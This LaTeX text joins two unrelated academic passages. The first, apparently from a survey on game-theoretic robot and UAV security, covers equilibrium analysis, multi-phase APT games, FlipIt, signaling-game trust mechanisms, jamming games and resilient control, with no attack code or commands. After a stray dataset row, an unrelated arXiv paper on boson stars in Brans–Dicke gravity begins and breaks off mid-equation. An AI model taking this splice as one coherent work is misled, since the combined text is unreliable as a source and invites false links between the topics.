The analysis of the saddle-point equilibria of the security game has the following implications. First, the equilibrium strategies provide a security strategy for the defenders and protect the system in the worst-case scenario that is assumed by the defender. Such strategies are computed ahead of time. The operator can use them to maintain the connectivity of the {UAV} at each time $k$ robust to the worst-case adversarial behaviors within a range of attack behaviors. In many cases, the exact knowledge of the worst-case may not always be available. The overestimate of the capability of the attacker will result in a conservative solution while the underestimate will lead to a successful attacker and failure in the operation when the attack is not correctly anticipated. There is a need to consider strategies other than protections or preventions to safeguard the system. One type of strategy that can be built on top of the robust mechanism is the resiliency mechanism. In the case of the underestimate, the system is well prepared and designed to quickly recover from the attack. In the case of the overestimate, the resources used to strengthen the network for extremely low likelihood events can be used for the repair of the links and the restoration of the services. With limited resources, the defender needs to find an optimal tradeoff between the robustness and the resiliency to mitigate the impact of the attacks and maintain an acceptable level of system performance. This joint robust and resilient mechanism has been studied in \citep{chen2019dynamic} and applied to multi-agent robotic systems in \citep{nugraha2019subgame,nugraha2020dynamic}.
Second, the value of the game obtained from the equilibrium analysis provides a predicted outcome and performance of the system. It provides a worst-case performance guarantee and a quantified assessment of the risks. In the example of {UAV} networks, the solution to the zero-sum game from solving (\ref{maxminproblem}) provides a way for the designer to assess whether the network is still connected under the worst-case adversary. If it is, the designer can assess the security margin from being disconnected. Otherwise, the designer needs to find mechanisms other than the control variable $u(k+c)$ to strengthen the network. For example, instead of using mobility to create connectivity, the designer can introduce additional communication resources, e.g., construction of ad hoc base stations, or the use of satellite communications. This design choice is another layer of optimal planning of resources since additional mechanisms are also constrained by limited resources.
In \cite{zhu2010network}, the authors see the value of games as the security capacity of a system. This is because when the computed value is below the targeted value, it means that it is impossible for the system to be secure for the given attack model unless additional resources are invested in the system. Games have also been studied for the overall design of secure communication layers as networks by \cite{rass_complexity_2014}.
\section{Multi-Stage and Multi-Phase Games}\label{msmp}
In Section \ref{gamemodels}, we have presented game theory as a tool to understand cybersecurity. In this section, we extend the game-theoretic technique developed for cyber attacks and connect it with the physical models of robots. The target of many {APT} is to create malfunction of the physical assets, including a power plant, an autonomous vehicle, or a water treatment plant. By incorporating the physical models into the security game framework, we can provide a cross-layer security framework for robots and develop tailored cyber protection for the given robot systems that have specific operational system specifications and requirements.
To illustrate this concept, we use a generic nonlinear dynamical system in (\ref{dynamics}) to capture the mechanical behaviors of the robots. Let $x(t)$ be the state of the physical system and $y(t)$ be the output of the system. The physical dynamics of the robot systems, such as mechanical arms, walking robots, {UAV}, can all be written into the following form:
\begin{eqnarray}\label{dynamics}
\dot{x}(t) &=& f(t, x, u; \theta(t, a, d)),\\
y(t)&=& h(t, x, u; \theta(t, a, d)).
\end{eqnarray}
Here, $f$ and $h$ are continuous functions in $(t, x, u)$. The physical system is controlled by the feedback law $u$ to achieve stabilization or targeted performances.
$\theta(t, a, d)$ is the cyber state of the robot. It can represent the state on the attack graph or the high-level description of the well-being of the cyber system. The state of the cyber system is influenced by the attack strategies $a$ and the defense strategies $d$. A well-designed defense can reduce the probability of the system in a compromised cyber state and allow the cyber system to recover quickly once it is attacked. From (\ref{dynamics}), it is clear that the cyber defense and attack not only directly affect the cyber state but also indirectly creates an impact on the physical system. For example, when the attacker gains access to the {ROS}\xspace nodes, he can modify the control logic and turn the robot into a deadly weapon \citep{clark2013impact,xu2018cross}. In the scenarios of multi-agent systems, one robot can be misled by a compromised robot to put the team into jeopardy and fail the mission \citep{xu2015cyber,Quanyan2013CCPS}.
\begin{figure}[t]
\centering
\includegraphics[scale=0.5]{figures/3phase.png}
\caption{Multi-stage and multi-phase interactions between an attacker and a defender: The attacker changes the cyber state $\theta$ to affect the physical state $x$ at the last stage of Phase $3$.} \label{3phase}
\end{figure}
The goal of the extended game framework is to capture this impact so that the defense designed at the cyber layer will reduce the cyber-physical risks and the control designed at the physical layer will be able to quickly mitigate the physical damages when an attacker succeeds at the cyber layer. To capture these multiple layers of effects, authors in \citep{zhu2018multi,huang2018gamesec,rass_gadapt:_2016} have created a multi-stage and multi-phase game model. The entire attack process is decomposed into multiple phases that represent multiple rounds or stages of interactions between the attacker and the system at different layers. At Phase 1, the attacker aims to create social engineering approaches to infect the system. To defense against this attack, defenders can raise security awareness, provide training to users and employees, or developing incident documentation and alert system to prevent malicious outsiders from entering the system or the insider to behave abnormally.
At Phase 2, the attacker aims to maximize the infection, search for its targeted asset and get closer to it. The defender at this phase can leverage spot-checking to detect virus/malware, change system configurations, or develop proactive defense mechanisms (e.g., honeypots \citep{jajodia2016cyber,mokube2007honeypots} and moving target defenses \citep{zhu2013game,jajodia2011moving}) to reduce the system risks. At Phase 3, the attacker aims to create physical damage on the system on the asset. It is already late for the defender to prevent the asset at this stage from damages. However, the defender can detect anomalous behaviors and reconfigure the control at the physical layer to reduce the impact of the attack and develop mechanisms to recover the system from the attacks.
The multi-stage multi-phase interactions are illustrated in Fig. \ref{3phase}. Each phase contains several stages of interactions. The success of an attacker in one phase will lead him to the next phase until he takes over the control of the physical assets. The state of the cyber system $\theta$ evolves over these multi-round interactions. In Phase 3, a compromised cyber state will influence the physical state $x$. The control taken at the end of Phase 3 can mitigate the physical impact of the attacker.
\begin{figure}[t]
\centering
\includegraphics[scale=0.5]{figures/flipit.png}
\caption{Illustration of FlipIt games: The attacker and the defender compete to control a shared resource. Both players can choose when to move at any time. Each move incurs a cost. The player controls the resources for a period of time after his move till the next move of the other player.} \label{flipit}
\end{figure}
Each phase has unique attacker-defender interactions. They can be modeled using a suitable game-theoretic framework. In the first phase, the game often involves a human user and an attacker. The goal of the attacker is to use social engineering techniques to deceive the users to gain credentials for access. In \citep{van2013flipit}, FlipIt games have been proposed to understanding many cybersecurity scenarios. Consider the scenario where a user can choose when to change his passwords and an attacker can choose the time to hack the account. A weak password that has not been changed for a long time can be eventually leaked to the attacker. One way to protect a user's account to frequently change the password. However, it would create a perceived overhead if a user changes the password too frequently, and \cite{rass_password_2018} gives a game model to find an optimal tradeoff between security and usability here. From the attacker's perspective, there is a cost for him to gain reconnaissance and hack the account. FlipIt games capture the strategic decision of both players. The game analysis provides a risk assessment of the system and the development of defense strategies. The applications of FlipIt games have been extended to many applications including cloud computing \citep{pawlick2015flip,xu2015secure,chen2016optimal}, cybercrime \citep{canzani2018risk,basak2018initial}, and {IoT} systems \citep{chen_optimal_2016,pawlick2018istrict}.
In the second phase, an intelligent attacker can move stealthily and strategically in the network to gain access to the targeted asset. {APT} are this type of threat that is capable of customizing their strategies against specific targets and disguise themselves for a prolonged period. Once the {APT} attackers enter the system, they escalate their privilege and propagate laterally in the network, compromising other nodes to gain deeper access to find their target. The goal of the defender is to detect the compromise nodes and respond quickly to prevent the attacker from going deeper and reaching critical assets. A game modeling this type of interactions is \textsc{Cut-The-Rope} (Section \ref{sec:cut-the-rope}), but other models have also been proposed, using sequential games \citep{huang2020dynamic,huang2019adaptive,noureddine2016game}. One important application of these models is to develop proactive defenses. They provide a precautious and strategic way to increase the cost of attack while mitigating the potential damage attacker could bring to the final target. An effective proactive response system can delay the attack and give network administrators a sufficient amount of time to meticulously analyze data and deploy effective responses to the threats.
In the third phase, an attacker has successfully gained access to the critical asset and aims to create maximum impact. The goal of the defender in this phase is to reduce the damages that can be created by the attacker. An example of games that capture this scenario is the Flip the Cloud game described in \citep{pawlick2015flip}. An {APT} attacker can take hold of the cloud and sends falsified information to mislead a robot that relies on the computations in the cloud. The analysis of the game between the cloud that is taken over by the attacker and the system leads to a strategic trust mechanism \citep{pawlick2018istrict} that can filter and reject misleading information and an event-triggered control mechanism \citep{xu2015secure} to switching the control laws to maintain an acceptable level of performance. Here, the goal of physical control is to strengthen the resiliency of the robots. With a suitable design, the robots can still carry on their missions and complete their tasks despite the compromised cyber state and the unanticipated events. The resilient control problem has been discussed in \citep{zhu2011hierarchical,rieger2019,rieger2012agent}. Game-theoretic techniques to achieve resiliency of the control system performance have been studied in \citep{zhu2013resilient,huang2020dynamic,zhu2012dynamic,chen2019dynamic,
RCSmetric}.
Generally, it is advisable to consider {APT} models relative to what the adversary tries to accomplish in the long run, as \citep{rass_cyber-security_2020} distinguishes two types of {APT}:
\begin{itemize}
\item One type is about \emph{gaining long-run control} over the victim, but without ultimately destroying it. This can be the case when an industrial robotics-enhanced production line is hacked for the purpose of quality dropout increase, or to induce flaws in the products, up to inserting malicious parts or similar. Other scenarios include the overtake of an infrastructure of unintended purposes, e.g., cryptocurrency mining or similar. FlipIt is a class of game models to defend against this type of {APT}.
\item The other type aims at \emph{killing the victim}, which entails a slow and ubiquitous penetration staying beneath the detection radar so that it is too late for the defender to react when the attacker becomes visibly active. Examples of such incidents have been reported on large critical infrastructures, with Stuxnet being an early and famous example. Game models for this type of {APT} are, among others, \textsc{Cut-The-Rope}.
\end{itemize}
\subsection{Signaling Games for Multi-Phase Security}
In the security games across the three phases, the players often have incomplete information regarding the payoffs, action sets, and the type of opponents the players interact with. It is essential for security games to capture these uncertainties in the game. Signaling games are a common class of games that have been used to model the sequential interactions between two players under incomplete information. They have been used in many applications such as cyber deception \citep{pawlickgame,pawlick2018modeling,zhuang2010modeling,pawlick2019game,pawlick2015deception}, communication networks \citep{rahman2013game,carroll2011game}, and trust management \citep{casey_compliance_2016,moghaddam2015trust,pawlick2017strategic}. In this class of games, one player is the sender, denoted by $S$, and the other player is the receiver, denoted by $D$. The sender has private information $\theta \in \Theta$ unknown to the receiver and sends a signal\footnote{The literature also uses the term ``message'' in the context of signalling games, which we avoid here to prevent ambiguities with the term ``message'' as data in transit like in Chapter \ref{sec:cyber-issues-et-al}.} $m \in \mathcal{M}$ to the receiver. The goal of the receiver observes the signal $m$ and chooses an action $a \in\mathcal{A}$ to respond to the signal so that his reward $U_S(\theta, m, a)$ is maximized. The goal of the sender is to pick a signal that will lead to a desirable action chosen by the receiver so that his reward $U_R(\theta, m, a)$ is maximized. Both players have the knowledge of how this game is played. More specifically, the players know the reward functions and action sets of both players. The private information $\theta$ is modeled as a random variable. Both players have knowledge of the distribution of the random variable. However, only the sender knows the realization of $\theta$.
This game is illustrated by an extensive-form game in Fig. \ref{signaling}. Nature first chooses $\theta$ according to the distribution known to the players. The sender who observes $\theta_1$ or $\theta_2$ will pick a signal $m\in\{m_1, m_2\}$. The receiver cannot distinguish between the type of the players (indicated in the figure by the information set of the receiver) but can only choose an action $\{a_1, a_2\}$ based on his observation of the signal. The strategies of the players are described by the policies $\mu_S: \Theta\rightarrow \mathcal{M}$ and $\mu_R: \mathcal{M}\rightarrow \mathcal{A}$ that are determined prior to the start of the game. The players use the policies to determine their actions based on their private observations. Bayesian perfect Nash equilibrium is commonly used as the solution concept for the signaling games. An equilibrium profile $(\mu^*_S, \mu^*_R )$ is a Bayesian perfect Nash equilibrium if it satisfies sequential rationality and there exists a consistent belief system, a distribution over the information set, that supports this equilibrium profile. Readers can refer to the mathematical details in \citep{gibbons1992game} for the analysis and the computation of the equilibrium.
\begin{figure}[t]
\centering
\includegraphics[scale=0.5]{figures/signaling.png}
\caption{Signaling games between one sender and one receiver. The sender has private information $\theta$ and sends a signal $m \in \mathcal{M}=\{m_1, m_2\}$ to the receiver to achieve an outcome that optimizes his reward. The receiver determines action $a \in \mathcal{A}=\{a_1, a_2\}$ to maximize his reward. The dotted line indicates an information set of player 2. } \label{signaling}
\end{figure}
Signaling games can be used to capture information asymmetry, where one player has more information than the other player. It is a pervasive phenomenon in cybersecurity. Across the three phases depicted in Fig. \ref{3phase}, the system defender may not distinguish the attacker from the normal users. In contrast, the attacker can observe the behaviors of the system. In \citep{pawlick_phishing_2017}, signaling games have been used to model phishing. An attacker sends a phishing email to a population of receivers while a user relies on spam and scam detection systems to filter out a suspicious email from the primary inbox.
An extension of the signaling games to multiple rounds of interactions has been studied in \citep{farhang2014dynamic,huang2020dynamic}. The multi-round game models are used to study the Phase 2 interaction where the attacker aims to escalate his privilege and gain access to the targeted asset.
In \citep{xu2015cyber}, a trust mechanism based on signaling games has been developed for {UAV} at Phase 3 as the last shield to defend against the attacker. Once an attacker has an access to the remote control station, he can send a falsified control command to direct the {UAV} to hit a building. The trust mechanism enables the {UAV} to make onboard decisions of following or rejecting the command when they predict that following the command would lead to catastrophic consequences.
\begin{figure}[t]
\centering
\includegraphics[scale=0.7]{figures/nestedgames.png}
\caption{G$1$, G$2$, and G$3$ represent games at three phases. The three games are nested. The outcome of the game at earlier phases will affect the structure of the game in the later phases. The defense strategies need to be planned backward from the last phase.} \label{nestedgames}
\end{figure}
\subsection{Games-in-Games Model}\label{gigm}
The games in the three phases are interdependent. The actions chosen by the defender and the attacker in the first phase will affect the cyber state and the structure of the game played in the second phase. When planning the defense at the first phase, it is essential to understand its consequences on the following phases and make an effective planning decision at the first phase. The games at the three phases can be integrated into a game-in-games \citep{huang2020dynamic,zhu2015game,xu2016cross,chen-TCNS-19-games,nugraha2019subgame,xu2018cross,xu2017game}, in which the game at an earlier phase is nested in the game at a later phase. Illustrated in Fig. \ref{nestedgames}, the game-of-games integration gives a holistic view of the security issues across multiple layers of robotic systems and provides a cross-layer risk assessment and design methodology of security mechanisms.
Security games for sophisticated attacks often require an integrated model that composes interactions at different layers, stages, or phases of the system. The game-in-games leverage the sequential nature of the cyber attacks and provide a framework to compose local-stage games into an integrated large-scale game for a holistic analysis of the risks. The computation of the equilibrium solutions at each phase is backward. The defense strategies in Phase 1 depends on the defense strategies in Phase 2, which is determined by the strategies in Phase 3. This backward computation will guarantee that the defense strategies are strategically optimal across the phases rather than myopically optimal within one single stage. Readers can refer to the recent book \citep{zhucross} for a comprehensive introduction of the game-theoretic techniques for cross-layer designs.
\input{subsections/control}
\section{Examples of Game-Theoretic Analysis}
We provide two case studies to elaborate on the application of game theory to robot security. The first one introduces the application of signal games to {UAV} and develops a cyber-physical trust interface between the {IT}-level signals and the {OT}-level operations and controls. The second one continues the example described in Fig. \ref{uav} and discusses how to design control mechanisms that can fend off jamming attacks while maintaining connectivity.
\subsection{Signaling Games and {UAV}}
This case study presents a team of multi-agent {UAV} with $n$ autonomous agents (ASs) and a control station (CS). Each agent has two components. One is the physical layer which implements real-time control to achieve its control objectives. The other one is the cyber layer which sends information and signals to the agents as inputs for the controller. At the physical layer, a min-max model predictive control (MPC) problem is formulated to handle the worst-case disturbances based on the model. For AS agent $i$ at time $k$, the problem is formulated as a zero-sum game between the controller and the disturbance:
\begin{align}
\mathcal{P}_k^i: \min_{\hat{u}^i_k}\max_{\hat{w}^i_k} \ \ \ J_c\left(x_k^i,r_k^i,\hat{u}^i_k,\hat{w}^i_k\right).
\end{align}
Here, $J_c$ is the accumulated stage cost until horizon-window $N$; $x_k^i$ is the state vector; $r_k^i$ is the reference trajectory given by the CS; $\hat{u}^i_k$ and $\hat{w}^i_k$ are the estimated control and disturbance vectors. An adversary can fabricate a fake reference signal $r^i$ to deviate agent $i$ from its real
trajectory to achieve Suicidal Attack (SA) or Collision
Attack (CA).
At the cyber layer of ASs, we use a signaling game method to capture the information asymmetry and multi-stage behaviors of these players. The CS (sender $S$) has a binary private type $\theta$ denotes whether $S$ is normal or malicious. $S$ sends a signal $r^i$ to each AS (receiver $R^i$). Before choosing action $a^i$, AS updates its beliefs about the type $\theta$ using Bayes' rule and prior belief $p^i(\theta)$. The goal of $R^i$ is to choose an action $a^i$ to minimize its expected cost $c_R^i$ given a posterior belief $\mu^i(\theta|r^i)$, while the goal of the sender is to choose a signal $r^i$ to minimize the cost $c_S$ by anticipating the behavior of the receiver $R^i$. The game admits a {PBNE}, which is a strategy profile $\{\sigma(S),\sigma_R^i\}$ and posterior beliefs $\mu^i(\theta|r^i)$ such that
\begin{align}
&\forall \theta, \quad \sigma_R^i(r^i)\in\arg\min_{a^i} \sum_{\theta}\mu^i(\theta|r^i)c_R^i(r^i,a^i,\theta),\\
&\forall\theta, \quad
\mathbf{\sigma}_S(\theta)\in\arg\min_{\mathbf{r}} c_S(\mathbf{r},\mathbf{\sigma}_R,\theta)
\end{align}
where posterior beliefs $\mu^i(\theta|r^i)$ are updated according to Bayes' rule. There are two {PBNE} that exist in this cyber-physical signaling game. One is a separating equilibrium, and the other is a pooling equilibrium. Both equilibria can lead to the protection of ASs from collisions as the equilibria can guarantee that $R^i$ only accepts reference trajectory $r^i$ if it is out of the danger zones. The designed framework yields an intelligent control of each agent to avoid collisions. Illustrated in Fig. \ref{uav}, a group of {UAV} reject the falsified command and switch the system to a safe control mode. The {UAV} hover in the air and keep a safe distance from each other and the building. The results indicate that the integrative framework enables the co-design of cyber-physical systems to minimize the damages, leading to online updating the cyber defense and physical layer control decisions. Interested readers can refer to \cite{xu2015cyber} for more details on this case study.
\begin{figure}[t]
\centering
\includegraphics[scale=0.5]{figures/uav.png}
\caption{Trust mechanism implemented in the {UAV} control system. The {UAV} start to hover before they hit the building.} \label{uav}
\end{figure}
\subsection{Jamming Games and Multi-Agent Systems}
Multi-agent systems provide a framework for studying distributed decision-making problems as a number of agents make local decisions by interacting with each other over networks. One of the common security threats in networked systems is jamming attacks. The adversary can simply transmit interference signals to interrupt communication among agents. Non-cooperative game theory approaches can be used to find the optimal defense mechanism to prevent and restore the network from successful attacks.
We model the interaction between an attacker
and a defender in a two-player two-stage game setting. The attacker is motivated to disrupt the communication by attacking individual links. The attack model consists of a jammer who chooses the links and the durations of the attack with the knowledge of the communication graph of the {UAV} and the energy constraints. The defender can recover a subset of links that are important for maintaining the connectivity of the graph with limited energy.
In the game, both players attempt to choose the best strategies to maximize their own utility functions. The utilities for the attacker $U^A$ and the defender $U^D$ are defined as the total generalized edge connectivity (with the negative sign for the attacker), plus the cost for jamming (attacker) or recovering (defender). The two-stage game is played as follows. The jammer first attacks and then the defender recovers in the subgame. Let $m^A$ be the attacked edges and $\sigma^A$ be the attack intervals; let $m^D$ be the edges recovered and $\sigma^D$ be the recovery intervals. The strategies of the attacker and the defender are in terms of $(m^A, \delta^A)$ and $(m^D, \delta^D)$, respectively.
The subgame perfect Nash equilibria are obtained using backward induction. Given the attacker's strategy $(m^A, \delta^A)$, the defender decides the best response strategy as
\begin{align}
\left(m^{D*}(m^A,\delta^A),\delta^{D*}(m^A,\delta^A)\right)
\in \arg \max_{(m^D, \delta^D)}U^D((m^A, \delta^A),(m^D, \delta^D))
\end{align}
Likewise, given the initial network graph $\mathcal{G}$, the attacker decides the strategy as
\begin{align}
\left(m^{A*},\delta^{A*}\right) \in \arg \max_{(m^A, \delta^A)} U^D((m^A, \delta^A),\left(m^{D*}(m^A,\delta^A),\delta^{D*}(m^A,\delta^A)\right))
\end{align}
This game can be applied to a multi-agent consensus problem, where the game is played repeatedly over time. In such a case, the energy constraints are extended to satisfy continuous communications. Fig. \ref{jammingresult} shows the states of the agents and properties of the players, with the agents achieving approximate consensus at $t \approx 4$ with tolerance $\epsilon = 0.5$. This framework enables the study of how the attacks and recovery strategies affect the consensus process of the multi-agent systems. By analyzing the games, we can find the optimal strategies for the attacker and the defender in terms of edge connectivity and the number of connected components of the graph. Interested readers can refer to \cite{nugraha2020dynamic} for more details on this case study.
\begin{figure}[t]
\centering
\includegraphics[scale=0.8]{figures/jammingresult.png}
\caption{The state trajectories of the {UAV}. The green areas indicate the intervals where the defender recovers. The red areas indicate
the intervals where the attacker attacks. The four agents reach consensus after $t \approx 4$ \cite{nugraha2020dynamic}. } \label{jammingresult}
\end{figure}
\subsection{Resilient Control Mechanisms and Real-Time System Performance}
In Section \ref{msmp}, we have used a multi-stage and multi-phase game to capture how an attacker moves from the cyber layer to the physical layer. The physical layer of robotics consists of the real-time dynamics represented by the system model in (\ref{dynamics}). It also corresponds to level $0$ of the ROS architecture, illustrated in Fig. \ref{fig:networking_multi_agent_architecture}. The defense at the physical layer heavily relies on the resilient control mechanisms when the attacker has successfully taken control of the devices at the field network. The purpose of resilient control is to enable the robotic systems to maintain a satisfactory level of performance when the robotic system is attacked by unanticipated threats in real-time. An example of such resilient control mechanisms is introduced in \citep{xu2015secure} for cloud robotics. A UAV that relies on the cloud for communication and information processing can switch from an optimal mode of operations to a safe mode when a man-in-the-middle attack is detected.
As discussed in \citep{zhuchapter}, resilient control is divided into three stages: ex-ante planning, interim execution, and ex-post recovery. The ex-ante stage is the resilience planning that designs contingency plans to prepare for the anticipated attacks. The interim execution stage is the operation stage of the control system, which executes the resilience plans in real-time. A resilient operation includes online learning for anomaly detection and adaptive decision-making for responding to the anomaly. The ex-post recovery refers to the recovery process in which the robots can still maintain critical functions or heal themselves to complete the tasks.
The three-stage resilient control mechanism is the last resort to safeguard the robotic systems and mitigate the impact of physical damages. This approach is complementary to the cyber defense designed at the penultimate level to prevent an attacker to reach the final level. Perfect security is not practicable in real-time systems as it would significantly increase the cost and reduce the usability of cybersecurity and resilient control mechanisms can be designed jointly to effectively reduce the impact of cyber threats. The cyber defense in the joint design needs to anticipate the consequence when the attacker successfully evades the defense and reaches the physical asset. Meanwhile, the design of a resilient control mechanism needs to take into account the effectiveness of the cyber defense and design resiliency in response to possible successful attacks.
This joint design methodology aligns with the games-in-games defense paradigm introduced in Section \ref{gigm}. The resilient control is subsumed in the last stage design, or G3 in Fig. \ref{nestedgames}, while the cyber defense is viewed as the outcome of G1 and G2. In \citep{zhu2012dynamic,zhu2011robust}, resilient control is viewed as a game between the controller and the worst-case scenario that can occur to the real-time system. Therefore, the games-in-games design paradigm provides a holistic view to understand the impact of cyber defense on the real-time system performance and design cross-layer defense and resilient control mechanisms.
|
1,477,468,750,079 | arxiv | \section{Introduction}
Although boson stars \cite{KAUP,RB,R1,R2} are so far entirely theoretical
constructs, they give rise to one of the simplest possible stellar
environments in which to study gravitational phenomena mathematically. One
can find numerical solutions which are nonsingular and yet exhibit strong
gravitational effects. Many of their properties bear close resemblance to
those of neutron stars.
Boson stars were first conceived as Klein--Gordon geons --- systems held
together by gravitational forces and composed of classical fields. They are
a gravitationally-bound macroscopic state made up of scalar bosons. As with
neutron stars, the pressure support which leads to their existence is
intrinsically quantum. For neutron stars, the pressure support derives from
the Pauli exclusion principle, and for boson stars this is replaced by
Heisenberg's uncertainty principle. Assuming that the quantum state contains
sufficient particles for gravitational effects to be important, and that
particle interactions can be neglected, an estimate of the mass is readily
obtained as follows. For a quantum state confined into a region of radius
$R$, and with units given by $h=c=1$, the boson momentum is $p=1/R$. If the
star is moderately relativistic, $p\simeq m$, then $R \simeq 1/m$. If we
equate $R$ with the Schwarzschild radius $2M/m_{{\rm Pl}}^2$ (recall that $G
\equiv m_{{\rm Pl}}^{-2}$), we find $M \simeq m_{{\rm Pl}}^2/m$.
In practice, one assumes the existence of a classical scalar field with a
given Lagrangian density, and adopts an ansatz for its time dependence which
implicitly encodes the Heisenberg uncertainty. This time dependence is of
course of a form which still permits a static metric. With these
ingredients, one then solves Einstein's equations, something which must be
done numerically. When no self-interaction term is present in the Lagrangian
density, the masses concur with the estimate above. However, if
self-interaction is present it is typically the dominant contributor to
pressure support, and leads instead to masses of order $m_{{\rm Pl}}^3/m^2$.
If the boson mass is comparable to a nucleon mass, this order of magnitude is
comparable to the Chandrasekhar mass, about 1$M_\odot$ \cite{COLPI}. Thus,
boson stars arise as possible candidates for non-baryonic dark matter, and
are possibly detectable by microlensing experiments.
Boson stars have been widely studied in general relativity, where the basic
model has been extended in various ways, such as including a $U(1)$ charge
\cite{4-boson}, allowing a mixture of boson and fermion components
\cite{8-boson}, or including a non-minimal coupling of the boson field to
gravity \cite{6-boson}. These and others works are summarized in two reviews
\cite{R1,R2}, and more recently in Ref.~\cite{LAST-SCHUNCK}. The possibility
of direct observational detection of boson stars was studied recently in
Ref.~\cite{LIDDLE-SCHUNCK}, where it was asked whether radiating baryonic
matter moving {\em within} a boson star could be converted into an
observational signal. Unfortunately, any direct detection looks a long way
off.
Given the simplicity of the boson star, it is natural to examine boson star
solutions in theories of gravity other than general relativity, to
examine whether new phenomena arise. The most-studied class of such theories
are the scalar--tensor theories of gravity \cite{12-boson}, which include the
Jordan--Brans--Dicke (JBD) theory as a special case. In these, Newton's
gravitational constant is replaced by a field $\phi$ known as the
Brans--Dicke field, the strength of whose coupling to the metric is given by
a function $\omega(\phi)$. If $\omega$ is a constant, this is the
JBD theory \cite{BD}, which is the simplest scenario
one may have in this framework. General relativity is attained in the limit
$1/\omega
\rightarrow 0$. To ensure that the weak-field limit of this theory agrees
with current observations, $\omega$ must exceed 500 at 95\% confidence
\cite{12-boson} from solar system timing experiments, i.e. experiments
taking place in the current cosmic time. This limit is both stronger and
less model-dependent than limits from nucleosynthesis \cite{CASAS}.
Scalar--tensor theories have regained popularity through inflationary
scenarios based upon them \cite{13-boson}, and because a JBD model with
$\omega =-1$ is the low-energy limit of superstring theory \cite{14-boson}.
The first scalar--tensor models of boson stars were studied by Gunderson and
Jensen \cite{GUNDERSON}, who concentrated on JBD theory with $\omega=6$.
This was generalized by Torres \cite{TORRES_BOSON}, both to other JBD
couplings and to some particular scalar--tensor theories with non-constant
$\omega(\phi)$ chosen to match all current observational constraints. This
allowed a study of some models which, inside the structure of the star, have
couplings deviating greatly from the large value required today. The
conclusion is that boson star models can exist in any scalar--tensor gravity,
with masses which are always smaller than the general relativistic case (for
a given central scalar field density), irrespective of the coupling.
A vital point to consider is that when one finds cosmological solutions in
scalar--tensor theories, the gravitational coupling is normally evolving.
This has important implications for astrophysical objects, because it means
that the asymptotic boundary condition for the $\phi$ field is in general a
function of epoch. One can then ask, as originally done by Barrow in the
context of black holes \cite{BARROW-MEMORY}, how the structure of the
astrophysical object is affected given that the asymptotic gravitational
coupling continues to evolve after the object forms. Two possibilities
exist; either the star can adjust its structure in a quasi-stationary manner
to the asymptotic gravitational constant, or it might `remember' the strength
of gravity at the time it formed. Barrow called this latter possibility {\em
gravitational memory}. In the former case, stellar evolution is driven
entirely by gravitational effects, while in the latter case objects of the
same mass could differ in other physical properties, such as their radius.
Either possibility has fascinating consequences, which we have already
explored in Ref.~\cite{BOSON-MEMORY}.
However, which of the two scenarios is correct remains unknown, either for
black holes or boson stars. Since boson star solutions are non-singular,
they appear to offer better prospects for determination the actual
behaviour. Consequently, it is important at this stage to have a complete
description of boson star models at different eras of cosmic history, which
may be used later either as an initial condition for, or to compare with the
output of, a dynamical evolutionary code.
Recently, two other works have been presented concerning scalar--tensor
gravity effects on equilibrium boson stars. In the first of them, Comer and
Shinkai \cite{COMER} studied zero and higher node configurations for the
Damour--Nordtvedt approach to scalar--tensor theories \cite{4-comer}. They
also studied stability properties of boson stars both at the present time and
in the past. They concluded that no stable boson stars exist before a
certain cosmic time, due to all possible configurations possessing a positive
binding energy. This result appears surprising, as the boson stars should
have no particular awareness of the present value of the gravitational
coupling, and it would appear a great coincidence that the transition between
instability and stability should occur at a recent cosmic epoch. In fact,
their result has already been questioned by Whinnett \cite{WHINNETT}, in a
detailed discussion of the meaning of the boson star mass in scalar--tensor
theories. Our results also indicate that boson stars may
form and be stable at any cosmic epoch. Finally, the dynamical
formation of boson stars was analyzed in Ref.~\cite{SHINKAI2}, where a
similar behaviour to that of general relativity was found.
In this paper, we aim to provide a comprehensive study of equilibrium
configurations of boson stars, emphasizing their characteristics, such as
mass and radii, at different moments of cosmic history. We shall also study,
using catastrophe theory, their stability properties. As seen in
Ref.~\cite{TORRES_BOSON}, the features of JBD and general scalar--tensor
boson stars do not differ much. Hence, we shall concentrate only on JBD
boson stars, examining the dependence on $\omega$. Finally, we shall test
whether the Brans--Dicke scalar can induce any change in the stability
properties even for extreme values of Newton's constant.
The organization of the rest of this work is as follows. In the next section
we briefly introduce the formalism, following Ref.~\cite{TORRES_BOSON}. The
following section will analyze some recently-proposed mass functions for JBD
boson stars, and justify our choice for this work. We shall also
comment on the use of catastrophe theory in the study of stability
properties. Finally, the results of our numerical simulations will be given
in Sec.~V and our conclusions will be stated in Sec.~VI.
\section{Formalism}
First we derive the equations corresponding to a general
scalar--tensor theory. The action for these generalized JBD
theories is
\begin{equation}
\label{action}
S = \int \frac{\sqrt{-g}}{16\pi} \, dx^4\left[ \phi R-
\frac{\omega(\phi )}{\phi} \, \partial_\mu \phi \,
\partial^\mu \phi + 16 \pi {\cal L}_{{\rm m}} \right] \,.
\end{equation}
Here $g_{\mu\nu}$ is the metric, $R$ the scalar curvature, $\phi$ the
Brans--Dicke field, and ${\cal L}_{{\rm m}}$ the Lagrangian of the matter
content of the system.
We take this ${\cal L}_{{\rm m}}$ to be the Lagrangian density of
a complex, massive, self-interacting scalar field $\psi$.
This Lagrangian reads as:
\begin{equation}
{\cal L}_{{\rm m}} = -\frac{1}{2} g^{\mu \nu} \, \partial_\mu \psi^*
\partial_\nu \psi -\frac{1}{2} m^2 |\psi|^2
-\frac{1}{4} \lambda |\psi|^4 \,.
\end{equation}
The $U(1)$ symmetry leads to conservation of boson number. Varying the
action with respect to $g^{\mu\nu}$ and $\phi$ we obtain the field
equations:
\begin{eqnarray}
\label{field0}
R_{\mu\nu}-\frac{1}{2} g_{\mu\nu}R & = & \frac{8\pi}{\phi}T_{\mu\nu}
+\frac{\omega(\phi )}{\phi} \left( \phi_{,\mu} \phi_{,\nu}-
\frac{1}{2} g_{\mu \nu }\phi^{,\alpha}\phi_{,\alpha}\right)
\nonumber \\
& & \quad + \frac{1}{\phi} \left( \phi_{,\mu;\nu} -g_{\mu\nu} \Box\phi
\right) \,, \\
\label{field00}
\Box \phi & = & \frac{1}{2\omega+3} \left[ 8\pi T-\frac{d\omega}{d\phi}
\phi^{,\alpha}\phi_{,\alpha}\right] \,,
\end{eqnarray}
where $T_{\mu\nu}$ is the energy--momentum tensor for the
matter fields and $T$ its trace.
This energy--momentum tensor is given by
\begin{eqnarray}
\label{emt}
T_{\mu\nu} =\frac{1}{2} \left( \psi^*_{,\mu }\psi_{,\nu } +\psi_{,\mu }
\psi^*_{,\nu }\right) -\frac{1}{2} g_{\mu\nu} ( g^{\alpha\beta}
